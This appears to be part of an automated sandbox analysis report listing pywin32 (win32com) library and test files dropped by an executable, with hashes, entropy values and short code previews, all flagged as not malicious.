SSDEEP:	24:I39k2E5hMQqvpdIGvzga+2Sk2vcSV4yWQSzCGfGQqklrGUMrDHlIpeXZM/Q/HN:wC2E5hMQqhdIGvg2R2vc0WQlGfGGtGh3
MD5:	FC57DB2AB422A0FBBF19FAEE627A7036
SHA1:	4AD31007AFDE4FBAED826C514CE860C61D599204
SHA-256:	5B3BE0A4E996218ACB5305D94685B8752B17C32F006859876973A3B8AABE7A45
SHA-512:	5A011AE1FB0A93A6E0C6CB337878384E9A86165FDCDDC4864F38DE90739E7E5A5BA3E7C684065CD664736CFCA07DC8A607299955F36E99EB28B4808F4CDCB49E
Malicious:	false
Preview:	"""A COM Server which exposes the NT Performance monitor in a very rudimentary way..Usage from VB:..set ob = CreateObject("Python.PerfmonQuery")..freeBytes = ob.Query("Memory", "Available Bytes").""".import pythoncom.import win32pdhutil.import winerror.from win32com.server import exception, register...class PerfMonQuery:. _reg_verprogid_ = "Python.PerfmonQuery.1". _reg_progid_ = "Python.PerfmonQuery". _reg_desc_ = "Python Performance Monitor query object". _reg_clsid_ = "{64cef7a0-8ece-11d1-a65a-00aa00125a98}". _reg_class_spec_ = "win32com.servers.perfmon.PerfMonQuery". _public_methods_ = ["Query"].. def Query(self, object, counter, instance=None, machine=None):. try:. return win32pdhutil.GetPerformanceAttributes(. object, counter, instance, machine=machine. ). except win32pdhutil.error as exc:. raise exception.Exception(desc=exc.strerror). except TypeError as desc:. raise exception.Exc

C:\recover\pw\Lib\site-packages\win32com\servers\test_pycomtest.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5105
Entropy (8bit):	4.973183641509729
Encrypted:	false
SSDEEP:	96:P3TP/djb7S6awwJdPeo1YaJ0BJ4Lk1bfvM6:fTP/17jawwfPEaJ6J4LkdfvM6
MD5:	8F95097AEDD504D036DADE45C6379215
SHA1:	A74546A08C65A5D86819ECD7125E54C8AD76EF5F
SHA-256:	9DF8CD7887DE8A6676B164603FF136FA455B31CA893CBF9FC05C44604F98D73E
SHA-512:	78876D96E9773EED3EBEEB7E448C7A9E9D2915F440644FC08B1060FB3EA99087F3FFB7C4BB0040DE692BD2FE6A2F6592CEB9750F3CAE68EB60A996415FD1492E
Malicious:	false
Preview:	# This is part of the Python test suite..# The object is registered when you first run the test suite..# (and hopefully unregistered once done ;-)..import pythoncom.import winerror..# Ensure the vtables in the tlb are known..from win32com import universal.from win32com.client import constants, gencache.from win32com.server.exception import COMException.from win32com.server.util import wrap..pythoncom.__future_currency__ = True.# We use the constants from the module, so must insist on a gencache..# Otherwise, use of gencache is not necessary (tho still advised).gencache.EnsureModule("{6BCDCB60-5605-11D0-AE5F-CADD4C000000}", 0, 1, 1)...class PyCOMTest:. _typelib_guid_ = "{6BCDCB60-5605-11D0-AE5F-CADD4C000000}". _typelib_version = 1, 0. _com_interfaces_ = ["IPyCOMTest"]. _reg_clsid_ = "{e743d9cd-cb03-4b04-b516-11d3a81c1597}". _reg_progid_ = "Python.Test.PyCOMTest".. def DoubleString(self, str):. return str * 2.. def DoubleInOutString(self, str):. return

C:\recover\pw\Lib\site-packages\win32com\storagecon.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3029
Entropy (8bit):	5.133408473790648
Encrypted:	false
SSDEEP:	48:mD5ZPfsTv+F3VJkSJ65MzlZCwDSfWtZItv+34hnraZDcu/LbFDwe5ZJoReRS4w:msT+Ff/GwDSf4ItM4rIDfzqimR+Pw
MD5:	F5C9F7C9D0DFD4D534CB514CBF4C88FB
SHA1:	BC4B8F8981DE8AEF0E78DB36B175838A0DF62729
SHA-256:	4EDC19EE04C728CE1090DA8B99C064D64402C5840D14B7FF7105F31D5CA4070D
SHA-512:	9AA3C5889AF5AB08EAFDE439A02478CBD620F959148A3AA4AFEE327C47683FB403451A4ADE312B5745A931ABEAF17563095000241433C8B256F63D70AE410312
Malicious:	false
Preview:	"""Constants related to IStorage and related interfaces..This file was generated by h2py from d:\msdev\include\objbase.h.then hand edited, a few extra constants added, etc.."""..STGC_DEFAULT = 0.STGC_OVERWRITE = 1.STGC_ONLYIFCURRENT = 2.STGC_DANGEROUSLYCOMMITMERELYTODISKCACHE = 4.STGC_CONSOLIDATE = 8..STGTY_STORAGE = 1.STGTY_STREAM = 2.STGTY_LOCKBYTES = 3.STGTY_PROPERTY = 4.STREAM_SEEK_SET = 0.STREAM_SEEK_CUR = 1.STREAM_SEEK_END = 2..LOCK_WRITE = 1.LOCK_EXCLUSIVE = 2.LOCK_ONLYONCE = 4..# Generated as from here...CWCSTORAGENAME = 32.STGM_DIRECT = 0x00000000.STGM_TRANSACTED = 0x00010000.STGM_SIMPLE = 0x08000000.STGM_READ = 0x00000000.STGM_WRITE = 0x00000001.STGM_READWRITE = 0x00000002.STGM_SHARE_DENY_NONE = 0x00000040.STGM_SHARE_DENY_READ = 0x00000030.STGM_SHARE_DENY_WRITE = 0x00000020.STGM_SHARE_EXCLUSIVE = 0x00000010.STGM_PRIORITY = 0x00040000.STGM_DELETEONRELEASE = 0x04000000.STGM_NOSCRATCH = 0x00100000.STGM_CREATE = 0x00001000.STGM_CONVERT = 0x00020000.STGM_FAILIFTHERE = 0x00000000.S

C:\recover\pw\Lib\site-packages\win32com\test\GenTestScripts.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2590
Entropy (8bit):	4.654726220942149
Encrypted:	false
SSDEEP:	48:kVl/gO8KovhKT3DPvInCRHnr82dF6TVJ5roiPX/37wJId+c+AKpx+:igO8Lv8T3DYnCRHnr76TL5rVn3cqdn1Z
MD5:	858099A3F7A74841062D8C1B1A1DB7F4
SHA1:	9738A5C3347FDDC7DF945384137411185F6F35DF
SHA-256:	BCE0F5A6607A22A26914A2AAF41F24923F6ED4F576233745EF8FECB50B5EF7A6
SHA-512:	28F5685D39D643BFFA736E5008296FFB18B1EDB67F9903AEBC422E92AFEE90F4B40F0E6CB3321BD5E4C3ACCD0244200F0A9ACA2B824B2B503E97F63C06FD003A
Malicious:	false
Preview:	#.# Generate scripts needed for serious testing!.#.import os.import sys..import pythoncom.import win32com.import win32com.client.makepy.import win32com.test..genList = [. ("msword8", "{00020905-0000-0000-C000-000000000046}", 1033, 8, 0),.]..genDir = "Generated4Test"...def GetGenPath():. import win32api.. return os.path.join(win32api.GetFullPathName(win32com.test.__path__[0]), genDir)...def GenerateFromRegistered(fname, *loadArgs):. # tlb = apply(pythoncom.LoadRegTypeLib, loadArgs). genPath = GetGenPath(). try:. os.stat(genPath). except os.error:. os.mkdir(genPath). # Ensure an __init__ exists.. open(os.path.join(genPath, "__init__.py"), "w").close(). print(fname, ": generating -", end=" "). f = open(os.path.join(genPath, fname + ".py"), "w"). win32com.client.makepy.GenerateFromTypeLibSpec(. loadArgs, f, bQuiet=1, bGUIProgress=1. ). f.close(). print("compiling -", end=" "). fullModName = "win32com.test.%s.%s" % (

C:\recover\pw\Lib\site-packages\win32com\test\Testpys.sct

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1058
Entropy (8bit):	5.068577848338502
Encrypted:	false
SSDEEP:	24:8m0bEDXfv3Yqf+IJHDCMIRbcbze5a6A6aUCVOKDLL9KyK9pY:L0bELffYqf+eHDCMIRbcmSDLMyT
MD5:	00593753703D199D8A458373BE78B180
SHA1:	CEEC7AA7DD4CAF1CD93C76E192B67638DB46AE9B
SHA-256:	D8AB7F9E02B106A9B1701B01A698780D17903D3D538AD04B3203DA0BB8000AF5
SHA-512:	8FC0CB09FC18ECEEEE259316C3647E878FA25E6895F91A31E468B70B5F07A7E9296CB5D3B0E41CB9E98DAF5930F7F16A2A85D6B448171B1575E3B06F6EC0C18E
Malicious:	false
Preview:	<scriptlet>..<Registration. Description="TestPys". ProgID="TestPys.Scriptlet". Version="1". ClassID="{2eeb6080-cd58-11d1-b81e-00a0240b2fef}">.. <SCRIPT LANGUAGE="VBScript"> ..Function Register()...Msgbox "Scriptlet 'Test' registered." ..End Function. ..Function Unregister()...Msgbox "Scriptlet 'Test' unregistered." ..End Function. </SCRIPT>.</Registration>..<implements id=Automation type=Automation>. <property name=PyProp1>. <get/>. <put/>. </property>. <property name=PyProp2>. <get/>. <put/>. </property>. <method name=PyMethod1>. </method>.. <method name=PyMethod2>. </method>.</implements>..<script language=python>..PyProp1 = "PyScript Property1";.PyProp2 = "PyScript Property2";..def get_PyProp1():. return PyProp1..def put_PyProp1(newValue):. global PyProp1. PyProp1 = newValue..def get_PyProp2():. return PyProp2..def put_PyProp2(newValue):. global PyProp2. PyProp2 = newValue..def PyMethod1():. return "PyMethod1 called"..def PyMethod2

C:\recover\pw\Lib\site-packages\win32com\test\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.1320441859950465
Encrypted:	false
SSDEEP:	3:SN7cFxF0MCwmFU3xVW2:SNiCwyWVH
MD5:	7CCF7BECD3241B3DC1FCBD65FA78C5D3
SHA1:	5C97396B7F0E4A95FDD2975F9B37ADDA5D508451
SHA-256:	6FAD9353D6B72032692FEE2309B2FF70ED526B68AA7F0F10E2131E852C1E8301
SHA-512:	BDBDE0EBA39622B7A6F4764E8B28814BBEBA058F8A5412F751C41F051A79BE85E02F2B7CE99A71C210C75DCC3581F8963F3CD40157817F76F843251A1AC37663
Malicious:	false
Preview:	# Empty file to designate a Python package.

C:\recover\pw\Lib\site-packages\win32com\test\daodump.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	4.53047818878344
Encrypted:	false
SSDEEP:	48:Om2KPnvJMkMr/QIA9e8Dt7PKkvVgw/iAII7qgqNMCu:OmX/vKkMrY79lDJnyw/i+qMX
MD5:	6DA80F9CEEDCD38A4E231BE269AAA38A
SHA1:	04CAFA660A9F339D87BA1EA0F0692296CCA8D4EE
SHA-256:	7B699EDF96060CBAB41AF35C0C0F9459E40F65DF75D07767A585E06A68E736B4
SHA-512:	6C0E1AAB36C177B0FF07D98E9992A6EC61354A5FA9F406D461205A9BA3C0EF59C11FC17992994A9274CAB3120EB4926391A814F0C5C16DEA8BDC9DE97DA406A9
Malicious:	false
Preview:	# import dao3032.# No longer imported here - callers responsibility to load.#.import win32com.client...def DumpDB(db, bDeep=1):. # MUST be a DB object.. DumpTables(db, bDeep). DumpRelations(db, bDeep). DumpAllContainers(db, bDeep)...def DumpTables(db, bDeep=1):. for tab in db.TableDefs:. tab = db.TableDefs(tab.Name) # Redundant lookup for testing purposes.. print(. "Table %s - Fields: %d, Attributes:%d". % (tab.Name, len(tab.Fields), tab.Attributes). ). if bDeep:. DumpFields(tab.Fields)...def DumpFields(fields):. for field in fields:. print(. " %s, size=%d, reqd=%d, type=%d, defVal=%s". % (. field.Name,. field.Size,. field.Required,. field.Type,. str(field.DefaultValue),. ). )...def DumpRelations(db, bDeep=1):. for relation in db.Relations:. print(. "Relation %s - %

C:\recover\pw\Lib\site-packages\win32com\test\errorSemantics.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	9004
Entropy (8bit):	4.38218286632829
Encrypted:	false
SSDEEP:	96:lOAcuYO8AjeLHVhLXlODUBSpmNumyqZFuxkNum/qSux5fkC7Q/NpLh5BlWK:Kuwhjw7QiAvGVoh5BlWK
MD5:	8F2899C1FEF4011198D8D735F04CAEEE
SHA1:	283AB4E3ACCA9A7D676A1482C2465B65D4A778DB
SHA-256:	02EDE4F09A9D11E8B19A924A885AEC2309F9FE0C7C43C487EFB178B32EAC1DB6
SHA-512:	61990392B37A133E8ACF88A68288CE4D66A9CB620C0289E91A1F62C3DF5AA7767E5B83076F85E3546AEC5586B719CD2CCFA92E2AB1A6F811A2B80E9727682AA2
Malicious:	false
Preview:	# errorSemantics.py..# Test the Python error handling semantics. Specifically:.#.# * When a Python COM object is called via IDispatch, the nominated.# scode is placed in the exception tuple, and the HRESULT is.# DISP_E_EXCEPTION.# * When the same interface is called via IWhatever, the.# nominated scode is returned directly (with the scode also.# reflected in the exception tuple).# * In all cases, the description etc end up in the exception tuple.# * "Normal" Python exceptions resolve to an E_FAIL "internal error"..import pythoncom.import winerror.from win32com.client import Dispatch.from win32com.server.exception import COMException.from win32com.server.util import wrap.from win32com.test.util import CaptureWriter...class error(Exception):. def __init__(self, msg, com_exception=None):. Exception.__init__(self, msg, str(com_exception))...# Our COM server..class TestServer:. _public_methods_ = ["Clone", "Commit", "LockRegion", "Read"]. _com_interfaces_ = [python

C:\recover\pw\Lib\site-packages\win32com\test\pippo.idl

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	1852
Entropy (8bit):	5.4123717871378565
Encrypted:	false
SSDEEP:	24:QXxmFu3M4pcjG2hbieT2XWh1bipqM6FNtsg6EqVpawtNLZUqsA:smFuf19WhcYtsoqVkmNj
MD5:	B5C7D77C0E0A157B3BB3E60C12720929
SHA1:	1C17D53A336572849F7F39068C377B20D29C122A
SHA-256:	20A7F279413384171B16C2DD282D1F37B07529FF18DB21707B7D0EEA6E6788D5
SHA-512:	A38B2C7A544404A06FED7A360F58CEC884B1929DD2B789C465C6ED01707A46D36B64E7E0EF1C0FC9FB4133357F17DF6F7C1BEBC7E42DE5AA6409DC394738375A
Malicious:	false
Preview:	// TestServer.idl : IDL source for TestServer.dll.//..// This file will be processed by the MIDL tool to.// produce the type library (TestServer.tlb) and marshalling code...import "oaidl.idl";.import "ocidl.idl";..[...object,...uuid(50086EE8-F535-464B-806E-365ADBB727CF),...dual,...helpstring("ITestServerApp Interface"),...pointer_default(unique)..]..interface ITestServerApp : IDispatch..{...[id(1), helpstring("method Test1")] HRESULT Test1([out, retval] ITestServerApp *pVal);...[id(2), helpstring("method Test2")] HRESULT Test2([out, retval] VARIANT pVar);...[propget, id(3), helpstring("property MyProp1")] HRESULT MyProp1([out, retval] long pVal);..};..[...object,...uuid(618DB2A3-D5BD-4850-B66A-828727EB37E5),...dual,...helpstring("IPippo Interface"),...pointer_default(unique)..]..interface IPippo : IDispatch..{.....[id(1), helpstring("method Method1")] HRESULT Method1([out, retval] IPippo val);...[propget, id(2), helpstring("property MyProp1")] HRESULT MyProp1([out, retval] long p

C:\recover\pw\Lib\site-packages\win32com\test\pippo_server.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2668
Entropy (8bit):	4.845449802014032
Encrypted:	false
SSDEEP:	48:kGQgRgHtSdUZyT2KYeSZeiHqjaF+x7JH2hLxxbzXLEQjx7wig7RClxw0DGBDIUvt:SOgHUCUTt6Z/qRx7JObzXoQjxs/7RMRE
MD5:	31E596A4A116C132B9059E660328B010
SHA1:	B813D06DD26C3B4DA10F6697A17D4946AED62868
SHA-256:	0428F943D77AB53D3C4FB1B40CCE705B9CAE09AB5516D17D3BC0F83001FAF5A1
SHA-512:	0913AEE8ED8A9BD5A8ACD5BE4D1AB6EE80C51562C35B4D5481282AE91D484767D602963F75BA5D2F2C683144C878AB88D27599B427E0B7227D241599A1F64009
Malicious:	false
Preview:	# A little test server, complete with typelib, we can use for testing..# Originally submitted with bug:.# [ 753154 ] memory leak wrapping object having _typelib_guid_ attribute.# but modified by mhammond for use as part of the test suite..import os.import sys..import pythoncom.import win32com.import winerror.from win32com.server.util import wrap...class CPippo:. #. # COM declarations. #. _reg_clsid_ = "{1F0F75D6-BD63-41B9-9F88-2D9D2E1AA5C3}". _reg_desc_ = "Pippo Python test object". _reg_progid_ = "Python.Test.Pippo". # _reg_clsctx_ = pythoncom.CLSCTX_LOCAL_SERVER. ###. ### Link to typelib. _typelib_guid_ = "{7783054E-9A20-4584-8C62-6ED2A08F6AC6}". _typelib_version_ = 1, 0. _com_interfaces_ = ["IPippo"].. def __init__(self):. self.MyProp1 = 10.. def Method1(self):. return wrap(CPippo()).. def Method2(self, in1, inout1):. return in1, inout1 * 2.. def Method3(self, in1):. # in1 will be a tuple, not a list..

C:\recover\pw\Lib\site-packages\win32com\test\policySemantics.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3162
Entropy (8bit):	4.799405335387886
Encrypted:	false
SSDEEP:	96:qHKBl1In7GNgJqshzp4RkNFVDY2kXku1yJ6tKf7Ivo7Mq:yaNgJqshNNnky4tm37Mq
MD5:	0EAE751168AFC8B1EAC7CD2BC2491E66
SHA1:	B57A463F531E46F9F1E1449D2B78CF36D4D7AC32
SHA-256:	42748BD390A7C58280E7ECFF5F8EDC1FFD731885B7A5BD20CD835E42326CC20C
SHA-512:	C973B03123F8B62F7AB4561E164EAC9C5ED195AF01440FA65A5513B821E0D276C752984A515BEB0625975EEC3F87F3A32C53F026D58E81D882B36008C5F1C0A2
Malicious:	false
Preview:	import unittest..import pythoncom.import win32com.client.import win32com.server.util.import win32com.test.util.import winerror...class Error(Exception):. pass...# An object representing a list of numbers.class PythonSemanticClass:. _public_methods_ = ["In"] # DISPIDs are allocated.. _dispid_to_func_ = {10: "Add", 11: "Remove"} # DISPIDs specified by the object... def __init__(self):. self.list = [].. def _NewEnum(self):. return win32com.server.util.NewEnum(self.list).. def _value_(self):. # should return an array.. return self.list.. def _Evaluate(self):. # return the sum. return sum(self.list).. def In(self, value):. return value in self.list.. def Add(self, value):. self.list.append(value).. def Remove(self, value):. self.list.remove(value)...def DispExTest(ob):. if not __debug__:. print("WARNING: Tests dressed up as assertions are being skipped!"). assert ob.GetDispID("Add", 0

C:\recover\pw\Lib\site-packages\win32com\test\testADOEvents.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2788
Entropy (8bit):	4.505156868473806
Encrypted:	false
SSDEEP:	48:KDeDWnty1wVrWA6e8AV0YmHBYyjdTbGlFDFC2Vnxc/aHSm3:KDeeAmWAhVxOyqdPqVFZxYMB3
MD5:	D170E9179ED45F2FFB7C6F560FE07974
SHA1:	420A06DDC0F8FCCB9247D3925D289B6A2B10D6A4
SHA-256:	41D36D127B053B0B77CD7B282275D52B892989C40452358471FA43729923432A
SHA-512:	31D63C719A5E1085533A5D3D4D77FB1F133EE9A9FC502E3744786520C38AA55F99EFD670E77CDAFCB41785E164A3AF805788BB1660FE079065268A4D264D38E5
Malicious:	false
Preview:	import os.import time..import pythoncom.from win32com.client import Dispatch, DispatchWithEvents, constants..finished = 0 # Flag for the wait loop from (3) to test...class ADOEvents: # event handler class. def OnWillConnect(self, str, user, pw, opt, sts, cn):. # Must have this event, as if it is not handled, ADO assumes the. # operation is cancelled, and raises an error (Operation cancelled. # by the user). pass.. def OnConnectComplete(self, error, status, connection):. # Assume no errors, until we have the basic stuff. # working. Now, "connection" should be an open. # connection to my data source. # Do the "something" from (2). For now, just. # print the connection data source. print("connection is", connection). print("Connected to", connection.Properties("Data Source")). # OK, our work is done. Let the main loop know. global finished. finished = 1.. def OnCommitTransComplete(

C:\recover\pw\Lib\site-packages\win32com\test\testAXScript.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1334
Entropy (8bit):	4.768567300771705
Encrypted:	false
SSDEEP:	24:BxgWbb79C7MZ83h8XlyPXEQIh6q7M+J8dHx+qfcj2IK7M+J88YOsdRf2/pLMb:BxgMhiMDlEEQZqMX+QcgMEadi4
MD5:	0EA7B173234195812C288240590CB6C6
SHA1:	835328B2831B2F8DAE57EF7F2074D2599895590E
SHA-256:	27DAAD392421D9D968F73448E585EC9010C8A4C6F119AB0079D8015899D5838E
SHA-512:	4D4F237E9E632540A7591F5C50F4449199ABF0F0411B1A4E67815099DA69395719D705D5E5976E9EE0C73D3541984376F8764D18371A5D1E24ED3AFCB408104C
Malicious:	false
Preview:	# Test AXScripting the best we can in an automated fashion....import os.import sys..import win32api.import win32com.axscript.import win32com.axscript.client.import win32com.test.util..verbose = "-v" in sys.argv...class AXScript(win32com.test.util.TestCase):. def setUp(self):. file = win32api.GetFullPathName(. os.path.join(win32com.axscript.client.__path__[0], "pyscript.py"). ). from win32com.test.util import RegisterPythonServer.. self.verbose = verbose. RegisterPythonServer(file, "python", verbose=self.verbose).. def testHost(self):. file = win32api.GetFullPathName(. os.path.join(win32com.axscript.__path__[0], "test\\testHost.py"). ). cmd = '%s "%s"' % (win32api.GetModuleFileName(0), file). if verbose:. print("Testing Python Scripting host"). win32com.test.util.ExecuteShellCommand(cmd, self).. def testCScript(self):. file = win32api.GetFullPathName(. os.pat

C:\recover\pw\Lib\site-packages\win32com\test\testAccess.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	5780
Entropy (8bit):	4.725019650399569
Encrypted:	false
SSDEEP:	96:Wktg4A4KElc/6vGc8XBfe0zXYFRmqdZ9E/1RL9//VrxSAth5L0PWWX6w0kqtioVg:jv06vG7XBfXXwRmq/u/1Jx/VrxSAth5Q
MD5:	061C7D4B0F39A434B949194498C2B08F
SHA1:	C9394BD4640559CEF1B236F076FDA4F276AE21CA
SHA-256:	101DBE1A4A0FC8C78284602097D2F7DB34345C18B9C9E416A7709BB54E844515
SHA-512:	A45A9E9CEBC051B6635F75832CCC09DB5F6F7BD81EAEB6026BF9DCA39C78F64B32110AB4A7B590DB201F2940355528A3B0656159BCF1435398D72006A108E9D2
Malicious:	false
Preview:	#.# This assumes that you have MSAccess and DAO installed..# You need to run makepy.py over "msaccess.tlb" and.# "dao3032.dll", and ensure the generated files are on the.# path...# You can run this with no args, and a test database will be generated..# You can optionally pass a dbname on the command line, in which case it will be dumped...import os.import sys..import pythoncom.import win32api.from win32com.client import Dispatch, constants, gencache...def CreateTestAccessDatabase(dbname=None):. # Creates a test access database - returns the filename.. if dbname is None:. dbname = os.path.join(win32api.GetTempPath(), "COMTestSuiteTempDatabase.mdb").. access = Dispatch("Access.Application"). dbEngine = access.DBEngine. workspace = dbEngine.Workspaces(0).. try:. os.unlink(dbname). except os.error:. print(. "WARNING - Unable to delete old test database - expect a COM exception RSN!". ).. newdb = workspace.CreateDatabase(.

C:\recover\pw\Lib\site-packages\win32com\test\testArrays.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2061
Entropy (8bit):	4.550510002812803
Encrypted:	false
SSDEEP:	24:VcGwh5Af74nk7flVn5woodznnTJR39tRnM8Wvt1ubghpz5GNaZW6:VcJBnkzz5rohnTzDRM88/5xl
MD5:	9911ADB1E23A413CCB564455420234EC
SHA1:	EF1E01991BFD2200D00F79363DC860510E2AF09A
SHA-256:	15C1BD5A8DB3B27EC9342AD24EEED80E4DB9469D43CD055810EFD5BF6CBE6AE9
SHA-512:	E49C4D853F16A13F6B90B6878DDB9C554494EAF389A40C12E2148D898B01ACC749BD1EE471965DC8E69B2E24F2598660B1804B7F9B18CE3250739F0CA957D2E6
Malicious:	false
Preview:	# Originally contributed by Stefan Schukat as part of this arbitrary-sized.# arrays patch...from win32com.client import gencache.from win32com.test import util..ZeroD = 0.OneDEmpty = [].OneD = [1, 2, 3].TwoD = [[1, 2, 3], [1, 2, 3], [1, 2, 3]]..TwoD1 = [[[1, 2, 3, 5], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]..OneD1 = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3]]]..OneD2 = [. [1, 2, 3],. [1, 2, 3, 4, 5],. [[1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5]],.]...ThreeD = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]..FourD = [. [. [[1, 2, 3], [1, 2, 3], [1, 2, 3]],. [[1, 2, 3], [1, 2, 3], [1, 2, 3]],. [[1, 2, 3], [1, 2, 3], [1, 2, 3]],. ],. [. [[1, 2, 3], [1, 2, 3], [1, 2, 3]],. [[1, 2, 3], [1, 2, 3], [1, 2, 3]],. [[1, 2, 3], [1, 2, 3], [1, 2, 3]],. ],.]..LargeD = [. [[list(range(10))] * 10],.] * 512...def _normalize_array(a):. if type(a) != type(()):. return

C:\recover\pw\Lib\site-packages\win32com\test\testClipboard.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5802
Entropy (8bit):	4.851907074785958
Encrypted:	false
SSDEEP:	96:d3G3yJRy++YTpkUkppL9rpI9rpsKwpWpbKYctEolEpBLdHDz:pHLvqh9G9O+KY5R5Dz
MD5:	40FA1C5FE65D9B6B85989F3386EE6C1A
SHA1:	164C2B350723BEFBCF30C8E4FF1F24F775EEF9DF
SHA-256:	19712D0E526A97DB0E993F5B8DC8B56B420461D06AFD68C13E02EEAF39802D8D
SHA-512:	0E01639DAFB636B258EF378D1803950885D7BE4E70CCFEC161B2989847558C79D53319B5AB2669AE02647BE05FFD4E33008511B6F15C8C0CCE3A3F1347E40C84
Malicious:	false
Preview:	# testClipboard.py.import unittest..import pythoncom.import win32clipboard.import win32con.import winerror.from win32com.server.exception import COMException.from win32com.server.util import NewEnum, wrap..IDataObject_Methods = """GetData GetDataHere QueryGetData. GetCanonicalFormatEtc SetData EnumFormatEtc. DAdvise DUnadvise EnumDAdvise""".split()..# A COM object implementing IDataObject used for basic testing..num_do_objects = 0...def WrapCOMObject(ob, iid=None):. return wrap(ob, iid=iid, useDispatcher=0)...class TestDataObject:. _com_interfaces_ = [pythoncom.IID_IDataObject]. _public_methods_ = IDataObject_Methods.. def __init__(self, bytesval):. global num_do_objects. num_do_objects += 1. self.bytesval = bytesval. self.supported_fe = []. for cf in (win32con.CF_TEXT, win32con.CF_UNICODETEXT):. fe = cf, None, pythoncom.DVASPECT_CONTENT, -1, pythoncom.TYMED_HGLOBAL. sel

C:\recover\pw\Lib\site-packages\win32com\test\testCollections.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4443
Entropy (8bit):	4.674081014404411
Encrypted:	false
SSDEEP:	96:P3gyH5QxTexLwTtkxaCUaBJEIiGSi6/JX4l6fMq:/6YBwTt2aCUaBJEIi3Uq
MD5:	E64F560B16F23A6C53CDA967891831FA
SHA1:	08A00EB556B98DB0CA4644CF3C9FF2365171DC1F
SHA-256:	CE5C7E12F648158429A63248B1F7CEF0353DD0DAB3835D11D283CFC682601E4F
SHA-512:	F63C3B65C4DF416A16719875F9D39B04D44AABA9B6AAA500FF47D123BAD70DC6AF21442683425EE6ED862639633DA33DF4CABF3F53152651EA527799340E3072
Malicious:	false
Preview:	# testCollections.py.#.# This code tests both the client and server side of collections.# and enumerators..#.# Also has the side effect of testing some of the PythonCOM error semantics..import sys..import pythoncom.import pywintypes.import win32com.client.import win32com.server.util.import win32com.test.util.import winerror..L = pywintypes.Unicode..import unittest..error = "collection test error"...def MakeEmptyEnum():. # create the Python enumerator object as a real COM object. o = win32com.server.util.wrap(win32com.server.util.Collection()). return win32com.client.Dispatch(o)...def MakeTestEnum():. # create a sub-collection, just to make sure it works :-). sub = win32com.server.util.wrap(. win32com.server.util.Collection(["Sub1", 2, "Sub3"]). ). # create the Python enumerator object as a real COM object. o = win32com.server.util.wrap(win32com.server.util.Collection([1, "Two", 3, sub])). return win32com.client.Dispatch(o)...def TestEnumAgainst(o, chec

C:\recover\pw\Lib\site-packages\win32com\test\testConversionErrors.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	796
Entropy (8bit):	4.605369687400832
Encrypted:	false
SSDEEP:	12:LLiXsLrrLyrjYBixmq65rbbjUM/dYUAwIJjPp93plx5kL/pJAgWcxG/2pV7u:aXU6r2ixmt5rbbKwItp93pJC/kabpVS
MD5:	377110CBCCAC1A4BEC1896F9F211BA1F
SHA1:	66D9E60D528F263CDC2ED371B9FAB006FE78315B
SHA-256:	C72E60565E7928ABEBC9E775C96A7665013DD983A70AD5F0DB713ABE94D4216B
SHA-512:	8F1B9304C788D362C65CCB0513478386BA9B5B747F461B1AC9682FCD4299968AD2F6D4A5562A2A48D04896E485A591A41CB6A74F2A88F42AEDCFF2C74C33AE0D
Malicious:	false
Preview:	import unittest..import win32com.client.import win32com.server.util.import win32com.test.util...class Tester:. _public_methods_ = ["TestValue"].. def TestValue(self, v):. pass...def test_ob():. return win32com.client.Dispatch(win32com.server.util.wrap(Tester()))...class TestException(Exception):. pass...# The object we try and pass - pywin32 will call __float__ as a last resort..class BadConversions:. def __float__(self):. raise TestException()...class TestCase(win32com.test.util.TestCase):. def test_float(self):. try:. test_ob().TestValue(BadConversions()). raise Exception("Should not have worked"). except Exception as e:. assert isinstance(e, TestException)...if __name__ == "__main__":. unittest.main().

C:\recover\pw\Lib\site-packages\win32com\test\testDCOM.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	4.841849428968686
Encrypted:	false
